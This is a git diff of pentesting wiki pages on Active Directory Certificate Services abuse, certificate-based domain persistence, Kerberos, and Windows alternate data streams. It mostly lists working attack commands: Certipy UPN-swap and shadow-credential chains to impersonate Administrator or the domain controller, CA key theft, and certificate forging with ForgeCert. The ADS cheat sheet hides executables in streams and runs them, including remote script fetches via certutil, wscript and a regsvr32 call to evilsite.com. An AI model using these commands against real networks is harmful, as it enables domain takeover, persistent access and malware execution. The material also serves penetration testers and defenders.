+```bash +certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane +``` -Next, we change the `userPrincipalName` of `Jane` to be `Administrator`. Notice that we’re leaving out the `@corp.local` part. +Subsequently, `Jane`'s `userPrincipalName` is altered to `Administrator`, deliberately omitting the `@corp.local` portion to avoid a constraint violation. -
+```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator +``` -This is not a constraint violation, since the `Administrator` user’s `userPrincipalName` is `Administrator@corp.local` and not `Administrator`. +Following this, a certificate enabling client authentication is requested as `Jane`, using the default `User` template. -Now, we request any certificate that permits client authentication, for instance the default `User` template. We must request the certificate as `Jane`. +```bash +certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes +``` -
+`Jane`'s `userPrincipalName` is then reverted to its original, `Jane@corp.local`. -Notice that the `userPrincipalName` in the certificate is `Administrator`. +```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local +``` -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` `Jane@corp.local`. +Authenticating with the obtained certificate will yield the NT hash of `Administrator@corp.local`, necessitating the specification of the domain in the command due to the absence of domain details in the certificate. -
- -Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@corp.local` user. You will need to add `-domain ` to your command line since there is no domain specified in the certificate. - -
+```bash +certipy auth -pfx administrator.pfx -domain corp.local +``` ### Abuse Case 2 -* `CertificateMappingMethods` contains `UPN` bit flag (`0x4`) -* `GenericWrite` over any account A to compromise any account B without a `userPrincipalName` property (machine accounts and built-in domain administrator `Administrator`) +With the `CertificateMappingMethods` containing the `UPN` bit flag (`0x4`), an account A with `GenericWrite` permissions can compromise any account B lacking a `userPrincipalName` property, including machine accounts and the built-in domain administrator `Administrator`. -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise the domain controller `DC$@corp.local`. +Here, the goal is to compromise `DC$@corp.local`, starting with obtaining `Jane`'s hash through Shadow Credentials, leveraging the `GenericWrite`. -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). +```bash +certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane +``` -
+`Jane`'s `userPrincipalName` is then set to `DC$@corp.local`. -Next, we change the `userPrincipalName` of `Jane` to be `DC$@corp.local`. +```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' +``` -
+A certificate for client authentication is requested as `Jane` using the default `User` template. -This is not a constraint violation, since the `DC$` computer account does not have `userPrincipalName`. +```bash +certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes +``` -Now, we request any certificate that permits client authentication, for instance the default `User` template. We must request the certificate as `Jane`. +`Jane`'s `userPrincipalName` is reverted to its original after this process. -
+```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' +``` -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` (`Jane@corp.local`). +To authenticate via Schannel, Certipy’s `-ldap-shell` option is utilized, indicating authentication success as `u:CORP\DC$`. -
+```bash +certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell +``` -Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new `-ldap-shell` option comes in. +Through the LDAP shell, commands such as `set_rbcd` enable Resource-Based Constrained Delegation (RBCD) attacks, potentially compromising the domain controller. -If we try to authenticate with the certificate and `-ldap-shell`, we will notice that we’re authenticated as `u:CORP\DC$`. This is a string that is sent by the server. +```bash +certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell +``` -
+This vulnerability also extends to any user account lacking a `userPrincipalName` or where it does not match the `sAMAccountName`, with the default `Administrator@corp.local` being a prime target due to its elevated LDAP privileges and the absence of a `userPrincipalName` by default. -One of the available commands for the LDAP shell is `set_rbcd` which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller. -
+## Compromising Forests with Certificates Explained in Passive Voice -Alternatively, we can also compromise any user account where there is no `userPrincipalName` set or where the `userPrincipalName` doesn’t match the `sAMAccountName` of that account. From my own testing, the default domain administrator `Administrator@corp.local` doesn’t have a `userPrincipalName` set by default, and this account should by default have more privileges in LDAP than domain controllers. +### Breaking of Forest Trusts by Compromised CAs -## Compromising Forests with Certificates +The configuration for **cross-forest enrollment** is made relatively straightforward. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. To clarify, this arrangement grants the **CA in the resource forest complete control** over all other forests for which it manages PKI. Should this CA be **compromised by attackers**, certificates for all users in both the resource and account forests could be **forged by them**, thereby breaking the security boundary of the forest. -### CAs Trusts Breaking Forest Trusts +### Enrollment Privileges Granted to Foreign Principals -The setup for **cross-forest enrollment** is relatively simple. Administrators publish the **root CA certificate** from the resource forest **to the account forests** and add the **enterprise CA** certificates from the resource forest to the **`NTAuthCertificates`** and AIA containers **in each account forest**. To be clear, this means that the **CA** in the resource forest has **complete control** over all **other forests it manages PKI for**. If attackers **compromise this CA**, they can **forge certificates for all users in the resource and account forests**, breaking the forest security boundary. +In multi-forest environments, caution is required concerning Enterprise CAs that **publish certificate templates** which allow **Authenticated Users or foreign principals** (users/groups external to the forest to which the Enterprise CA belongs) **enrollment and edit rights**.\ +Upon authentication across a trust, the **Authenticated Users SID** is added to the user’s token by AD. Thus, if a domain possesses an Enterprise CA with a template that **allows Authenticated Users enrollment rights**, a template could potentially be **enrolled in by a user from a different forest**. Likewise, if **enrollment rights are explicitly granted to a foreign principal by a template**, a **cross-forest access-control relationship is thereby created**, enabling a principal from one forest to **enroll in a template from another forest**. -### Foreign Principals With Enrollment Privileges - -Another thing organizations need to be careful of in multi-forest environments is Enterprise CAs **publishing certificates templates** that grant **Authenticated Users or foreign principals** (users/groups external to the forest the Enterprise CA belongs to) **enrollment and edit rights**.\ -When an account **authenticates across a trust**, AD adds the **Authenticated Users SID** to the authenticating user’s token. Therefore, if a domain has an Enterprise CA with a template that **grants Authenticated Users enrollment rights**, a user in different forest could potentially **enroll in the template**. Similarly, if a template explicitly grants a **foreign principal enrollment rights**, then a **cross-forest access-control relationship gets created**, permitting a principal in one forest to **enroll in a template in another forest**. - -Ultimately both these scenarios **increase the attack surface** from one forest to another. Depending on the certificate template settings, an attacker could abuse this to gain additional privileges in a foreign domain. - -## References - -* All the information for this page was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) +Both scenarios lead to an **increase in the attack surface** from one forest to another. The settings of the certificate template could be exploited by an attacker to obtain additional privileges in a foreign domain.
diff --git a/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index e2a4e8429..b62e7922b 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -14,42 +14,45 @@ Other ways to support HackTricks:
+**This is a summary of the persistence techniques shared in [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)**. Check it for further details. + ## Forging Certificates with Stolen CA Certificates - DPERSIST1 How can you tell that a certificate is a CA certificate? -* The CA certificate exists on the **CA server itself**, with its **private key protected by machine DPAPI** (unless the OS uses a TPM/HSM/other hardware for protection). -* The **Issuer** and **Subject** for the cert are both set to the **distinguished name of the CA**. -* CA certificates (and only CA certs) **have a “CA Version” extension**. -* There are **no EKUs** +It can be determined that a certificate is a CA certificate if several conditions are met: -The built-in GUI supported way to **extract this certificate private key** is with `certsrv.msc` on the CA server.\ -However, this certificate **isn't different** from other certificates stored in the system, so for example check the [**THEFT2 technique**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) to see how to **extract** them. +- The certificate is stored on the CA server, with its private key secured by the machine's DPAPI, or by hardware such as a TPM/HSM if the operating system supports it. +- Both the Issuer and Subject fields of the certificate match the distinguished name of the CA. +- A "CA Version" extension is present in the CA certificates exclusively. +- The certificate lacks Extended Key Usage (EKU) fields. -You can also get the cert and private key using [**certipy**](https://github.com/ly4k/Certipy): +To extract the private key of this certificate, the `certsrv.msc` tool on the CA server is the supported method via the built-in GUI. Nonetheless, this certificate does not differ from others stored within the system; thus, methods such as the [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) can be applied for extraction. + +The certificate and private key can also be obtained using Certipy with the following command: ```bash certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup ``` -Once you have the **CA cert** with the private key in `.pfx` format you can use [**ForgeCert**](https://github.com/GhostPack/ForgeCert) to create valid certificates: +Upon acquiring the CA certificate and its private key in `.pfx` format, tools like [ForgeCert](https://github.com/GhostPack/ForgeCert) can be utilized to generate valid certificates: ```bash -# Create new certificate with ForgeCert +# Generating a new certificate with ForgeCert ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123! -# Create new certificate with certipy +# Generating a new certificate with certipy certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL' -# Use new certificate with Rubeus to authenticate +# Authenticating using the new certificate with Rubeus Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123! -# User new certi with certipy to authenticate +# Authenticating using the new certificate with certipy certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 ``` {% hint style="warning" %} -**Note**: The target **user** specified when forging the certificate needs to be **active/enabled** in AD and **able to authenticate** since an authentication exchange will still occur as this user. Trying to forge a certificate for the krbtgt account, for example, will not work. +The user targeted for certificate forgery must be active and capable of authenticating in Active Directory for the process to succeed. Forging a certificate for special accounts like krbtgt is ineffective. {% endhint %} This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\ @@ -57,26 +60,23 @@ Moreover, the **certificates generated** with this method **cannot be revoked** ## Trusting Rogue CA Certificates - DPERSIST2 -The object `NTAuthCertificates` defines one or more **CA certificates** in its `cacertificate` **attribute** and AD uses it: During authentication, the **domain controller** checks if **`NTAuthCertificates`** object **contains** an entry for the **CA specified** in the authenticating **certificate’s** Issuer field. If **it is, authentication proceeds**. +The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found. -An attacker could generate a **self-signed CA certificate** and **add** it to the **`NTAuthCertificates`** object. Attackers can do this if they have **control** over the **`NTAuthCertificates`** AD object (in default configurations only **Enterprise Admin** group members and members of the **Domain Admins** or **Administrators** in the **forest root’s domain** have these permissions). With the elevated access, one can **edit** the **`NTAuthCertificates`** object from any system with `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126` , or using the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). +A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). -The specified certificate should **work with the previously detailed forgery method with ForgeCert** to generate certificates on demand. +This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates. ## Malicious Misconfiguration - DPERSIST3 -There is a myriad of opportunities for **persistence** via **security descriptor modifications of AD CS** components. Any scenario described in the “[Domain Escalation](domain-escalation.md)” section could be maliciously implemented by an attacker with elevated access, as well as addition of “control rights'' (i.e., WriteOwner/WriteDACL/etc.) to sensitive components. This includes: +Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as: -* **CA server’s AD computer** object -* The **CA server’s RPC/DCOM server** -* Any **descendant AD object or container** in the container **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) -* **AD groups delegated rights to control AD CS by default or by the current organization** (e.g., the built-in Cert Publishers group and any of its members) +- The **CA server’s AD computer** object +- The **CA server’s RPC/DCOM server** +- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) +- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members) -For example, an attacker with **elevated permissions** in the domain could add the **`WriteOwner`** permission to the default **`User`** certificate template, where the attacker is the principal for the right. To abuse this at a later point, the attacker would first modify the ownership of the **`User`** template to themselves, and then would **set** **`mspki-certificate-name-flag`** to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`** (i.e., allowing a user to supply a Subject Alternative Name in the request). The attacker could then **enroll** in the **template**, specifying a **domain administrator** name as an alternative name, and use the resulting certificate for authentication as the DA. +An example of malicious implementation would involve an attacker, who has **elevated permissions** in the domain, adding the **`WriteOwner`** permission to the default **`User`** certificate template, with the attacker being the principal for the right. To exploit this, the attacker would first change the ownership of the **`User`** template to themselves. Following this, the **`mspki-certificate-name-flag`** would be set to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`**, allowing a user to provide a Subject Alternative Name in the request. Subsequently, the attacker could **enroll** using the **template**, choosing a **domain administrator** name as an alternative name, and utilize the acquired certificate for authentication as the DA. -## References - -* All the information of this page was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
diff --git a/windows-hardening/active-directory-methodology/kerberos-authentication.md b/windows-hardening/active-directory-methodology/kerberos-authentication.md index 8c188e7a2..556a0b9f2 100644 --- a/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -12,201 +12,7 @@
-**This information was extracted from the post:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) - -## Kerberos (I): How does Kerberos work? – Theory - -20 - MAR - 2019 - ELOY PÉREZ - -The objective of this series of posts is to clarify how Kerberos works, more than just introduce the attacks. This due to the fact that in many occasions it is not clear why some techniques works or not. Having this knowledge allows to know when to use any of those attacks in a pentest. - -Therefore, after a long journey of diving into the documentation and several posts about the topic, we’ve tried to write in this post all the important details which an auditor should know in order to understand how take advantage of Kerberos protocol. - -In this first post only basic functionality will be discussed. In later posts it will see how perform the attacks and how the more complex aspects works, as delegation. - -If you have any doubt about the topic which it is not well explained, do not be afraid on leave a comment or question about it. Now, onto the topic. - -### What is Kerberos? - -Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access. - -Kerberos is used in Active Directory. In this platform, Kerberos provides information about the privileges of each user, but it is the responsibility of each service to determine if the user has access to its resources. - -### Kerberos items - -In this section several components of Kerberos environment will be studied. - -**Transport layer** - -Kerberos uses either UDP or TCP as transport protocol, which sends data in cleartext. Due to this Kerberos is responsible for providing encryption. - -Ports used by Kerberos are UDP/88 and TCP/88, which should be listen in KDC (explained in next section). - -**Agents** - -Several agents work together to provide authentication in Kerberos. These are the following: - -* **Client or user** who wants to access to the service. -* **AP** (Application Server) which offers the service required by the user. -* **KDC** (Key Distribution Center), the main service of Kerberos, responsible of issuing the tickets, installed on the DC (Domain Controller). It is supported by the **AS** (Authentication Service), which issues the TGTs. - -**Encryption keys** - -There are several structures handled by Kerberos, as tickets. Many of those structures are encrypted or signed in order to prevent being tampered by third parties. These keys are the following: - -* **KDC or krbtgt key** which is derivate from krbtgt account NTLM hash. -* **User key** which is derivate from user NTLM hash. -* **Service key** which is derivate from the NTLM hash of service owner, which can be a user or computer account. -* **Session key** which is negotiated between the user and KDC. -* **Service session key** to be use between user and service. - -**Tickets** - -The main structures handled by Kerberos are the tickets. These tickets are delivered to the users in order to be used by them to perform several actions in the Kerberos realm. There are 2 types: - -* The **TGS** (Ticket Granting Service) is the ticket which user can use to authenticate against a service. It is encrypted with the service key. -* The **TGT** (Ticket Granting Ticket) is the ticket presented to the KDC to request for TGSs. It is encrypted with the KDC key. - -**PAC** - -The **PAC** (Privilege Attribute Certificate) is a structure included in almost every ticket. This structure contains the privileges of the user and it is signed with the KDC key. - -It is possible to services to verify the PAC by communicating with the KDC, although this does not happen often. Nevertheless, the PAC verification consists of checking only its signature, without inspecting if privileges inside of PAC are correct. - -Furthermore, a client can avoid the inclusion of the PAC inside the ticket by specifying it in _KERB-PA-PAC-REQUEST_ field of ticket request. - -**Messages** - -Kerberos uses differents kinds of messages. The most interesting are the following: - -* **KRB\_AS\_REQ**: Used to request the TGT to KDC. -* **KRB\_AS\_REP**: Used to deliver the TGT by KDC. -* **KRB\_TGS\_REQ**: Used to request the TGS to KDC, using the TGT. -* **KRB\_TGS\_REP**: Used to deliver the TGS by KDC. -* **KRB\_AP\_REQ**: Used to authenticate a user against a service, using the TGS. -* **KRB\_AP\_REP**: (Optional) Used by service to identify itself against the user. -* **KRB\_ERROR**: Message to communicate error conditions. - -Additionally, even if it is not part of Kerberos, but NRPC, the AP optionally could use the **KERB\_VERIFY\_PAC\_REQUEST** message to send to KDC the signature of PAC, and verify if it is correct. - -Below is shown a summary of message sequency to perform authentication - -![Kerberos messages summary](<../../.gitbook/assets/image (174) (1).png>) - -### Authentication process - -In this section, the sequency of messages to perform authentication will be studied, starting from a user without tickets, up to being authenticated against the desired service. - -**KRB\_AS\_REQ** - -Firstly, user must get a TGT from KDC. To achieve this, a KRB\_AS\_REQ must be sent: - -![KRB\_AS\_REQ schema message](<../../.gitbook/assets/image (175) (1).png>) - -_KRB\_AS\_REQ_ has, among others, the following fields: - -* A encrypted **timestamp** with client key, to authenticate user and prevent replay attacks -* **Username** of authenticated user -* The service **SPN** asociated with **krbtgt** account -* A **Nonce** generated by the user - -Note: the encrypted timestamp is only necessary if user requires preauthentication, which is common, except if [_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro) \_\_ flag is set in user account. - -**KRB\_AS\_REP** - -After receiving the request, the KDC verifies the user identity by decrypting the timestamp. If the message is correct, then it must respond with a _KRB\_AS\_REP_: - -![KRB\_AS\_REP schema message](<../../.gitbook/assets/image (176) (1).png>) - -_KRB\_AS\_REP_ includes the next information: - -* **Username** -* **TGT**, which includes: - * **Username** - * **Session key** - * **Expiration date** of TGT - * **PAC** with user privileges, signed by KDC -* Some **encrypted data** with user key, which includes: - * **Session key** - * **Expiration date** of TGT - * User **nonce**, to prevent replay attacks - -Once finished, user already has the TGT, which can be used to request TGSs, and afterwards access to the services. - -**KRB\_TGS\_REQ** - -In order to request a TGS, a _KRB\_TGS\_REQ_ message must be sent to KDC: - -![KRB\_TGS\_REQ schema message](<../../.gitbook/assets/image (177).png>) - -_KRB\_TGS\_REQ_ includes: - -* **Encrypted data** with session key: - * **Username** - * **Timestamp** -* **TGT** -* **SPN** of requested service -* **Nonce** generated by user - -**KRB\_TGS\_REP** - -After receiving the _KRB\_TGS\_REQ_ message, the KDC returns a TGS inside of _KRB\_TGS\_REP_: - -![KRB\_TGS\_REP schema message](<../../.gitbook/assets/image (178) (1).png>) - -_KRB\_TGS\_REP_ includes: - -* **Username** -* **TGS**, which contains: - * **Service session key** - * **Username** - * **Expiration date** of TGS - * **PAC** with user privileges, signed by KDC -* **Encrypted data** with session key: - * **Service session key** - * **Expiration date** of TGS - * User **nonce**, to prevent replay attacks - -**KRB\_AP\_REQ** - -To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a _KRB\_AP\_REQ_ message: - -![KRB\_AP\_REQ schema message](<../../.gitbook/assets/image (179) (1).png>) - -_KRB\_AP\_REQ_ includes: - -* **TGS** -* **Encrypted data** with service session key: - * **Username** - * **Timestamp**, to avoid replay attacks - -After that, if user privileges are rigth, this can access to service. If is the case, which not usually happens, the AP will verify the PAC against the KDC. And also, if mutual authentication is needed it will respond to user with a _KRB\_AP\_REP_ message. - -### References - -* Kerberos v5 RFC: [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120) -* \[MS-KILE] – Kerberos extension: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx) -* \[MS-APDS] – Authentication Protocol Domain Support: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx) -* Mimikatz and Active Directory Kerberos Attacks: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556) -* Explain like I’m 5: Kerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/) -* Kerberos & KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483) -* Mastering Windows Network Forensics and Investigation, 2 Edition . Autores: S. Anson , S. Bunting, R. Johnson y S. Pearson. Editorial Sibex. -* Active Directory , 5 Edition. Autores: B. Desmond, J. Richards, R. Allen y A.G. Lowe-Norris -* Service Principal Names: [https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx) -* Niveles funcionales de Active Directory: [https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0) -* OverPass The Hash – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash) -* Pass The Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos) -* Golden Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos) -* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html) -* Attacking Kerberos: Kicking the Guard Dog of Hades: [https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf) -* Kerberoasting – Part 1: [https://room362.com/post/2016/kerberoast-pt1/](https://room362.com/post/2016/kerberoast-pt1/) -* Kerberoasting – Part 2: [https://room362.com/post/2016/kerberoast-pt2/](https://room362.com/post/2016/kerberoast-pt2/) -* Roasting AS-REPs: [https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) -* PAC Validation: [https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html](https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html) -* Understanding PAC Validation: [https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/](https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/) -* Reset the krbtgt acoount password/keys: [https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51) -* Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft: [https://www.microsoft.com/en-us/download/details.aspx?id=36036](https://www.microsoft.com/en-us/download/details.aspx?id=36036) -* Fun with LDAP, Kerberos (and MSRPC) in AD Environments: [https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58) +**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
diff --git a/windows-hardening/basic-cmd-for-pentesters.md b/windows-hardening/basic-cmd-for-pentesters.md index e73f46120..9a98073ec 100644 --- a/windows-hardening/basic-cmd-for-pentesters.md +++ b/windows-hardening/basic-cmd-for-pentesters.md @@ -556,118 +556,32 @@ int main (){ ## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream) -Taken from [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) +**Examples taken from [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f). There are a lot more in there!** ```bash -##Add content to ADS### +## Selected Examples of ADS Operations ## + +### Adding Content to ADS ### +# Append executable to a log file as an ADS type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" -extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe -findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe +# Download a script directly into an ADS certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt -makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab -print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe -reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg -regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey -expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat -esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o -powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}" -curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe -cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat -set-content - path {path to the file} - stream {name of the stream} -## Discover ADS contecnt -dir /R -streams.exe #Binary from sysinternals# -Get-Item -Path .\fie.txt -Stream * -gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' +### Discovering ADS Content ### +# List files and their ADS +dir /R +# Use Sysinternals tool to list ADS of a file +streams.exe -##Extract content from ADS### +### Extracting Content from ADS ### +# Extract an executable stored in an ADS expand c:\ads\file.txt:test.exe c:\temp\evil.exe -esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o -more < c:\ads\file.txt:test.exe -##Executing the ADS content### - -* WMIC +### Executing ADS Content ### +# Execute an executable stored in an ADS using WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' - -* Rundll32 -rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain -rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll -rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll - -* Cscript -cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs" - -* Wscript -wscript c:\ads\file.txt:script.vbs -echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js - -* Forfiles -forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe" - -* Mavinject.exe -c:\windows\SysWOW64\notepad.exe -tasklist | findstr notepad -notepad.exe 4172 31C5CE94259D4006 2 18,476 K -type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" -c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" - -* MSHTA -mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta" -(Does not work on Windows 10 1903 and newer) - -* Control.exe -control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll -https://twitter.com/bohops/status/954466315913310209 - -* Create service and run -sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" 